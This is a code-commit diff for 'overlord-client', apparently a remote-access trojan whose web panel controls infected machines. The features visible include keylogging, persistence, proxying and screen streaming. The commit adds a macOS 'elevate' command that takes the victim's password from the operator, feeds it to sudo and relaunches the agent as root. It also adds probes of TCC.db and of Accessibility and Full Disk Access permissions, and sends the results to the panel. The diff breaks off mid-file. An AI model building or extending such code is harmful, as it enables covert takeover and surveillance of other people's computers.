new mac update for permission issues.
This commit is contained in:
+1
-1
@@ -22,7 +22,7 @@ RUN apt-get update \
|
|||||||
&& rm -rf /var/lib/apt/lists/*
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
# Install Go (latest stable version)
|
# Install Go (latest stable version)
|
||||||
ENV GO_VERSION=1.26.1
|
ENV GO_VERSION=1.26.2
|
||||||
ARG TARGETARCH
|
ARG TARGETARCH
|
||||||
RUN case "${TARGETARCH}" in \
|
RUN case "${TARGETARCH}" in \
|
||||||
amd64) GO_ARCH=amd64 ;; \
|
amd64) GO_ARCH=amd64 ;; \
|
||||||
|
|||||||
@@ -349,14 +349,21 @@ func firstNonEmpty(values ...string) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func deriveHWID() string {
|
func deriveHWID() string {
|
||||||
|
machineID := platformMachineID()
|
||||||
|
if machineID != "" {
|
||||||
|
h := sha256.New()
|
||||||
|
h.Write([]byte(machineID))
|
||||||
|
h.Write([]byte("|"))
|
||||||
|
h.Write([]byte(runtime.GOOS))
|
||||||
|
return hex.EncodeToString(h.Sum(nil))
|
||||||
|
}
|
||||||
|
// fallback
|
||||||
h := sha256.New()
|
h := sha256.New()
|
||||||
h.Write([]byte(hostname()))
|
h.Write([]byte(hostname()))
|
||||||
h.Write([]byte("|"))
|
h.Write([]byte("|"))
|
||||||
h.Write([]byte(os.Getenv("USERNAME")))
|
h.Write([]byte(os.Getenv("USERNAME")))
|
||||||
h.Write([]byte("|"))
|
h.Write([]byte("|"))
|
||||||
h.Write([]byte(runtime.GOOS))
|
h.Write([]byte(runtime.GOOS))
|
||||||
h.Write([]byte("|"))
|
|
||||||
h.Write([]byte(runtime.GOARCH))
|
|
||||||
return hex.EncodeToString(h.Sum(nil))
|
return hex.EncodeToString(h.Sum(nil))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -22,6 +22,7 @@ import (
|
|||||||
"overlord-client/cmd/agent/persistence"
|
"overlord-client/cmd/agent/persistence"
|
||||||
"overlord-client/cmd/agent/plugins"
|
"overlord-client/cmd/agent/plugins"
|
||||||
"overlord-client/cmd/agent/runtime"
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/sysinfo"
|
||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -560,6 +561,26 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
|
||||||
return nil
|
return nil
|
||||||
case "desktop_start":
|
case "desktop_start":
|
||||||
|
if goruntime.GOOS == "darwin" {
|
||||||
|
perms := sysinfo.DarwinPermissions()
|
||||||
|
var missing []string
|
||||||
|
if !perms["screenRecording"] {
|
||||||
|
missing = append(missing, "screenRecording")
|
||||||
|
}
|
||||||
|
if !perms["accessibility"] {
|
||||||
|
missing = append(missing, "accessibility")
|
||||||
|
}
|
||||||
|
if len(missing) > 0 {
|
||||||
|
log.Printf("desktop: macOS missing permissions: %v", missing)
|
||||||
|
detail, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"reason": "permissions_denied",
|
||||||
|
"missing": missing,
|
||||||
|
"permissions": perms,
|
||||||
|
})
|
||||||
|
sendCommandResultSafe(env, cmdID, false, string(detail))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
env.DesktopMu.Lock()
|
env.DesktopMu.Lock()
|
||||||
if env.DesktopCancel != nil {
|
if env.DesktopCancel != nil {
|
||||||
env.DesktopCancel()
|
env.DesktopCancel()
|
||||||
@@ -1922,6 +1943,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
||||||
_ = wire.WriteMsg(ctx, env.Conn, res)
|
_ = wire.WriteMsg(ctx, env.Conn, res)
|
||||||
return ErrReconnect
|
return ErrReconnect
|
||||||
|
case "elevate":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
password, _ := payload["password"].(string)
|
||||||
|
return HandleElevate(ctx, env, cmdID, password)
|
||||||
case "proxy_connect":
|
case "proxy_connect":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
return HandleProxyConnect(ctx, env, cmdID, payload)
|
return HandleProxyConnect(ctx, env, cmdID, payload)
|
||||||
|
|||||||
@@ -0,0 +1,91 @@
|
|||||||
|
//go:build darwin
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/wire"
|
||||||
|
)
|
||||||
|
|
||||||
|
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||||
|
if os.Getuid() == 0 {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: true,
|
||||||
|
Message: "already running as root",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
if password == "" {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: false,
|
||||||
|
Message: "password required for elevation",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: false,
|
||||||
|
Message: fmt.Sprintf("failed to resolve executable path: %v", err),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
validateCmd := exec.Command("sudo", "-S", "-k", "true")
|
||||||
|
validateCmd.Stdin = strings.NewReader(password + "\n")
|
||||||
|
if err := validateCmd.Run(); err != nil {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: false,
|
||||||
|
Message: "incorrect password",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
args := os.Args[1:]
|
||||||
|
sudoArgs := append([]string{"-S", "-k", exePath}, args...)
|
||||||
|
cmd := exec.Command("sudo", sudoArgs...)
|
||||||
|
cmd.Stdin = strings.NewReader(password + "\n")
|
||||||
|
cmd.Env = os.Environ()
|
||||||
|
|
||||||
|
nullFile, _ := os.OpenFile(os.DevNull, os.O_RDWR, 0)
|
||||||
|
if nullFile != nil {
|
||||||
|
cmd.Stdout = nullFile
|
||||||
|
cmd.Stderr = nullFile
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: false,
|
||||||
|
Message: fmt.Sprintf("failed to start elevated process: %v", err),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
|
||||||
|
|
||||||
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: true,
|
||||||
|
Message: "elevating — new process started as root",
|
||||||
|
})
|
||||||
|
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
os.Exit(0)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
//go:build !darwin
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
|
||||||
|
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/wire"
|
||||||
|
)
|
||||||
|
|
||||||
|
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: false,
|
||||||
|
Message: "elevation via password is only supported on macOS",
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -614,6 +614,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
|||||||
hello.RAM = hw.RAM
|
hello.RAM = hw.RAM
|
||||||
hello.IsAdmin = sysinfo.IsAdmin()
|
hello.IsAdmin = sysinfo.IsAdmin()
|
||||||
hello.Elevation = sysinfo.Elevation()
|
hello.Elevation = sysinfo.Elevation()
|
||||||
|
hello.Permissions = sysinfo.DarwinPermissions()
|
||||||
|
|
||||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||||
return fmt.Errorf("send hello: %w", err)
|
return fmt.Errorf("send hello: %w", err)
|
||||||
|
|||||||
@@ -0,0 +1,64 @@
|
|||||||
|
//go:build darwin
|
||||||
|
|
||||||
|
package sysinfo
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func IsAdmin() bool {
|
||||||
|
return os.Getuid() == 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func Elevation() string {
|
||||||
|
if os.Getuid() == 0 {
|
||||||
|
return "admin"
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func DarwinPermissions() map[string]bool {
|
||||||
|
return map[string]bool{
|
||||||
|
"screenRecording": checkScreenRecording(),
|
||||||
|
"accessibility": checkAccessibility(),
|
||||||
|
"fullDiskAccess": checkFullDiskAccess(),
|
||||||
|
"root": os.Getuid() == 0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func checkScreenRecording() bool {
|
||||||
|
if os.Getuid() == 0 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if real, err := filepath.EvalSymlinks(exe); err == nil {
|
||||||
|
exe = real
|
||||||
|
}
|
||||||
|
home, err := os.UserHomeDir()
|
||||||
|
if err != nil || home == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
db := filepath.Join(home, "Library", "Application Support", "com.apple.TCC", "TCC.db")
|
||||||
|
safeExe := strings.ReplaceAll(exe, "'", "''")
|
||||||
|
out, _ := exec.Command("sqlite3", db,
|
||||||
|
"SELECT auth_value FROM access WHERE service='kTCCServiceScreenCapture' AND client='"+safeExe+"' LIMIT 1",
|
||||||
|
).CombinedOutput()
|
||||||
|
return strings.TrimSpace(string(out)) == "2"
|
||||||
|
}
|
||||||
|
|
||||||
|
func checkAccessibility() bool {
|
||||||
|
err := exec.Command("osascript", "-e",
|
||||||
|
`tell application "System Events" to get name of first process`).Run()
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func checkFullDiskAccess() bool {
|
||||||
|
_, err := os.ReadDir("/Library/Application Support/com.apple.TCC")
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
//go:build !windows
|
//go:build !windows && !darwin
|
||||||
|
|
||||||
package sysinfo
|
package sysinfo
|
||||||
|
|
||||||
@@ -15,3 +15,7 @@ func Elevation() string {
|
|||||||
}
|
}
|
||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func DarwinPermissions() map[string]bool {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|||||||
@@ -61,3 +61,7 @@ func isTrustedInstallerSID(sid *windows.SID) bool {
|
|||||||
}
|
}
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func DarwinPermissions() map[string]bool {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ type Hello struct {
|
|||||||
RAM string `msgpack:"ram,omitempty"`
|
RAM string `msgpack:"ram,omitempty"`
|
||||||
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
||||||
Elevation string `msgpack:"elevation,omitempty"`
|
Elevation string `msgpack:"elevation,omitempty"`
|
||||||
|
Permissions map[string]bool `msgpack:"permissions,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type EnrollmentChallenge struct {
|
type EnrollmentChallenge struct {
|
||||||
|
|||||||
@@ -444,6 +444,16 @@ p {
|
|||||||
color: #d8b4fe;
|
color: #d8b4fe;
|
||||||
border-color: rgba(168, 85, 247, 0.45);
|
border-color: rgba(168, 85, 247, 0.45);
|
||||||
}
|
}
|
||||||
|
.pill-perm-ok {
|
||||||
|
background: rgba(34, 197, 94, 0.15);
|
||||||
|
color: #86efac;
|
||||||
|
border-color: rgba(34, 197, 94, 0.4);
|
||||||
|
}
|
||||||
|
.pill-perm-no {
|
||||||
|
background: rgba(239, 68, 68, 0.15);
|
||||||
|
color: #fca5a5;
|
||||||
|
border-color: rgba(239, 68, 68, 0.4);
|
||||||
|
}
|
||||||
|
|
||||||
/* Hardware info toggle & panel */
|
/* Hardware info toggle & panel */
|
||||||
.pill-hw {
|
.pill-hw {
|
||||||
|
|||||||
@@ -195,6 +195,11 @@ function applyMenuSupportRules(clientId) {
|
|||||||
isWindows,
|
isWindows,
|
||||||
"Keylogger capture is only fully supported on Windows clients.",
|
"Keylogger capture is only fully supported on Windows clients.",
|
||||||
);
|
);
|
||||||
|
|
||||||
|
const elevateBtn = menu.querySelector('[data-action="elevate"]');
|
||||||
|
if (elevateBtn) {
|
||||||
|
elevateBtn.style.display = platform === "darwin" ? "" : "none";
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function loadCurrentUser() {
|
async function loadCurrentUser() {
|
||||||
@@ -934,6 +939,32 @@ menu.addEventListener("click", async (e) => {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (action === "elevate") {
|
||||||
|
const password = prompt("Enter the user's macOS password for sudo elevation:");
|
||||||
|
if (!password) {
|
||||||
|
closeMenu(clearContext);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/clients/${contextCard}/command`, {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ action: "elevate", password }),
|
||||||
|
});
|
||||||
|
const data = await res.json().catch(() => ({}));
|
||||||
|
if (data.ok) {
|
||||||
|
alert(data.message || "Elevation successful — client will reconnect as root.");
|
||||||
|
} else {
|
||||||
|
alert(data.error || data.message || "Elevation failed.");
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
alert("Elevation request failed: " + err.message);
|
||||||
|
}
|
||||||
|
closeMenu(clearContext);
|
||||||
|
setTimeout(() => loadWithOptions({ force: true }), 2000);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
const ok = await sendCommand(contextCard, action);
|
const ok = await sendCommand(contextCard, action);
|
||||||
if (ok) {
|
if (ok) {
|
||||||
setTimeout(() => loadWithOptions({ force: true }), 400);
|
setTimeout(() => loadWithOptions({ force: true }), 400);
|
||||||
|
|||||||
@@ -281,6 +281,20 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
scheduleOffline(msg.reason);
|
scheduleOffline(msg.reason);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg.status === "permissions_denied") {
|
||||||
|
clearOfflineTimer();
|
||||||
|
desiredStreaming = false;
|
||||||
|
const missing = Array.isArray(msg.missing) ? msg.missing : [];
|
||||||
|
const labels = {
|
||||||
|
screenRecording: "Screen Recording",
|
||||||
|
accessibility: "Accessibility",
|
||||||
|
fullDiskAccess: "Full Disk Access",
|
||||||
|
};
|
||||||
|
const list = missing.map(k => labels[k] || k).join(", ");
|
||||||
|
setStreamState("error", `macOS permissions required: ${list}`);
|
||||||
|
showElevateOffer(missing);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg.status === "connecting") {
|
if (msg.status === "connecting") {
|
||||||
clearOfflineTimer();
|
clearOfflineTimer();
|
||||||
setStreamState("connecting", "Connecting");
|
setStreamState("connecting", "Connecting");
|
||||||
@@ -306,6 +320,102 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function showElevateOffer(missing) {
|
||||||
|
// Remove previous elevate banner if any
|
||||||
|
const prev = document.getElementById("rdElevateBanner");
|
||||||
|
if (prev) prev.remove();
|
||||||
|
|
||||||
|
const banner = document.createElement("div");
|
||||||
|
banner.id = "rdElevateBanner";
|
||||||
|
banner.className = "flex flex-col items-center gap-3 p-4 rounded-lg border border-amber-700/70 bg-amber-900/30 text-amber-100 text-sm";
|
||||||
|
|
||||||
|
const labels = {
|
||||||
|
screenRecording: "Screen Recording",
|
||||||
|
accessibility: "Accessibility",
|
||||||
|
fullDiskAccess: "Full Disk Access",
|
||||||
|
};
|
||||||
|
const list = missing.map(k => labels[k] || k).join(", ");
|
||||||
|
|
||||||
|
banner.innerHTML = `
|
||||||
|
<div class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-triangle-exclamation text-amber-400"></i>
|
||||||
|
<span><strong>macOS permissions missing:</strong> ${list}</span>
|
||||||
|
</div>
|
||||||
|
<div class="text-xs text-amber-300/80">
|
||||||
|
The client needs elevated privileges to grant these permissions. Enter the user's password to elevate.
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center gap-2">
|
||||||
|
<input id="rdElevatePwd" type="password" placeholder="User password" autocomplete="off"
|
||||||
|
class="px-3 py-1.5 rounded bg-slate-800 border border-slate-600 text-slate-100 text-sm focus:outline-none focus:border-amber-500" />
|
||||||
|
<button id="rdElevateBtn" class="button primary text-sm px-4 py-1.5">
|
||||||
|
<i class="fa-solid fa-bolt"></i> Elevate
|
||||||
|
</button>
|
||||||
|
<button id="rdElevateDismiss" class="button ghost text-sm px-3 py-1.5">Dismiss</button>
|
||||||
|
</div>
|
||||||
|
<div id="rdElevateStatus" class="text-xs text-slate-400 hidden"></div>
|
||||||
|
`;
|
||||||
|
|
||||||
|
// Insert banner above the canvas area
|
||||||
|
if (canvasContainer && canvasContainer.parentNode) {
|
||||||
|
canvasContainer.parentNode.insertBefore(banner, canvasContainer);
|
||||||
|
}
|
||||||
|
|
||||||
|
const elevateBtn = document.getElementById("rdElevateBtn");
|
||||||
|
const pwdInput = document.getElementById("rdElevatePwd");
|
||||||
|
const statusDiv = document.getElementById("rdElevateStatus");
|
||||||
|
const dismissBtn = document.getElementById("rdElevateDismiss");
|
||||||
|
|
||||||
|
if (dismissBtn) {
|
||||||
|
dismissBtn.addEventListener("click", () => banner.remove());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (elevateBtn && pwdInput) {
|
||||||
|
elevateBtn.addEventListener("click", async () => {
|
||||||
|
const password = pwdInput.value.trim();
|
||||||
|
if (!password) {
|
||||||
|
pwdInput.focus();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
elevateBtn.disabled = true;
|
||||||
|
elevateBtn.innerHTML = '<i class="fa-solid fa-circle-notch fa-spin"></i> Elevating...';
|
||||||
|
if (statusDiv) {
|
||||||
|
statusDiv.classList.remove("hidden");
|
||||||
|
statusDiv.textContent = "Sending elevation request...";
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/clients/${encodeURIComponent(activeClientId)}/command`, {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ action: "elevate", password }),
|
||||||
|
});
|
||||||
|
const data = await res.json();
|
||||||
|
if (data.ok) {
|
||||||
|
if (statusDiv) {
|
||||||
|
statusDiv.textContent = "Elevation successful — client is restarting with elevated permissions. It will reconnect shortly.";
|
||||||
|
statusDiv.className = "text-xs text-emerald-400";
|
||||||
|
}
|
||||||
|
elevateBtn.textContent = "Done";
|
||||||
|
// The client will disconnect and reconnect; the viewer should auto-recover
|
||||||
|
} else {
|
||||||
|
if (statusDiv) {
|
||||||
|
statusDiv.textContent = `Elevation failed: ${data.message || "Unknown error"}`;
|
||||||
|
statusDiv.className = "text-xs text-rose-400";
|
||||||
|
}
|
||||||
|
elevateBtn.disabled = false;
|
||||||
|
elevateBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Retry';
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
if (statusDiv) {
|
||||||
|
statusDiv.textContent = `Request failed: ${err.message}`;
|
||||||
|
statusDiv.className = "text-xs text-rose-400";
|
||||||
|
}
|
||||||
|
elevateBtn.disabled = false;
|
||||||
|
elevateBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Retry';
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function sendCmd(type, payload) {
|
function sendCmd(type, payload) {
|
||||||
if (!activeClientId) {
|
if (!activeClientId) {
|
||||||
console.warn("No active client selected");
|
console.warn("No active client selected");
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ function escapeHtml(text) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function cardDigest(c) {
|
function cardDigest(c) {
|
||||||
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`;
|
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${JSON.stringify(c.permissions)}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function createRenderer({
|
export function createRenderer({
|
||||||
@@ -424,6 +424,17 @@ export function createRenderer({
|
|||||||
${client.isAdmin ? `<span class="pill pill-admin"><i class="fa-solid fa-shield-halved"></i> Admin</span>` : ""}
|
${client.isAdmin ? `<span class="pill pill-admin"><i class="fa-solid fa-shield-halved"></i> Admin</span>` : ""}
|
||||||
${client.elevation === "system" ? `<span class="pill pill-system"><i class="fa-solid fa-gear"></i> SYSTEM</span>` : ""}
|
${client.elevation === "system" ? `<span class="pill pill-system"><i class="fa-solid fa-gear"></i> SYSTEM</span>` : ""}
|
||||||
${client.elevation === "trustedinstaller" ? `<span class="pill pill-ti"><i class="fa-solid fa-lock"></i> TrustedInstaller</span>` : ""}
|
${client.elevation === "trustedinstaller" ? `<span class="pill pill-ti"><i class="fa-solid fa-lock"></i> TrustedInstaller</span>` : ""}
|
||||||
|
${client.os === "darwin" && client.permissions ? (() => {
|
||||||
|
const p = client.permissions;
|
||||||
|
const pills = [];
|
||||||
|
if (p.screenRecording === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-video"></i> Screen</span>');
|
||||||
|
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-video-slash"></i> No Screen</span>');
|
||||||
|
if (p.accessibility === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-universal-access"></i> Accessibility</span>');
|
||||||
|
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-ban"></i> No Accessibility</span>');
|
||||||
|
if (p.fullDiskAccess === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-hard-drive"></i> FDA</span>');
|
||||||
|
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-lock"></i> No FDA</span>');
|
||||||
|
return pills.join("");
|
||||||
|
})() : ""}
|
||||||
${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => {
|
${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => {
|
||||||
const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" };
|
const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" };
|
||||||
const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" };
|
const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" };
|
||||||
|
|||||||
@@ -45,6 +45,8 @@ const MENU_GROUPS = [
|
|||||||
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
|
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
|
||||||
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
|
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
|
||||||
{ divider: true },
|
{ divider: true },
|
||||||
|
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
||||||
|
{ divider: true },
|
||||||
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
|
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
|
||||||
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
|
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
|
||||||
{ label: "Remove From Dashboard", icon: "fa-solid fa-user-xmark", icolor: "text-rose-300", action: "remove-dashboard" },
|
{ label: "Remove From Dashboard", icon: "fa-solid fa-user-xmark", icolor: "text-rose-300", action: "remove-dashboard" },
|
||||||
|
|||||||
@@ -109,6 +109,9 @@ try {
|
|||||||
try {
|
try {
|
||||||
db.run(`ALTER TABLE clients ADD COLUMN elevation TEXT`);
|
db.run(`ALTER TABLE clients ADD COLUMN elevation TEXT`);
|
||||||
} catch {}
|
} catch {}
|
||||||
|
try {
|
||||||
|
db.run(`ALTER TABLE clients ADD COLUMN permissions TEXT`);
|
||||||
|
} catch {}
|
||||||
|
|
||||||
db.run(`
|
db.run(`
|
||||||
CREATE TABLE IF NOT EXISTS banned_ips (
|
CREATE TABLE IF NOT EXISTS banned_ips (
|
||||||
@@ -424,8 +427,8 @@ export function upsertClientRow(
|
|||||||
) {
|
) {
|
||||||
const now = partial.lastSeen ?? Date.now();
|
const now = partial.lastSeen ?? Date.now();
|
||||||
db.run(
|
db.run(
|
||||||
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation)
|
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation, permissions)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?)
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, ?)
|
||||||
ON CONFLICT(id) DO UPDATE SET
|
ON CONFLICT(id) DO UPDATE SET
|
||||||
hwid=COALESCE(excluded.hwid, clients.hwid),
|
hwid=COALESCE(excluded.hwid, clients.hwid),
|
||||||
role=COALESCE(excluded.role, clients.role),
|
role=COALESCE(excluded.role, clients.role),
|
||||||
@@ -450,7 +453,8 @@ export function upsertClientRow(
|
|||||||
gpu=COALESCE(excluded.gpu, clients.gpu),
|
gpu=COALESCE(excluded.gpu, clients.gpu),
|
||||||
ram=COALESCE(excluded.ram, clients.ram),
|
ram=COALESCE(excluded.ram, clients.ram),
|
||||||
is_admin=COALESCE(excluded.is_admin, clients.is_admin),
|
is_admin=COALESCE(excluded.is_admin, clients.is_admin),
|
||||||
elevation=COALESCE(excluded.elevation, clients.elevation)
|
elevation=COALESCE(excluded.elevation, clients.elevation),
|
||||||
|
permissions=COALESCE(excluded.permissions, clients.permissions)
|
||||||
`,
|
`,
|
||||||
partial.id,
|
partial.id,
|
||||||
partial.hwid ?? partial.id,
|
partial.hwid ?? partial.id,
|
||||||
@@ -477,6 +481,7 @@ export function upsertClientRow(
|
|||||||
partial.ram ?? null,
|
partial.ram ?? null,
|
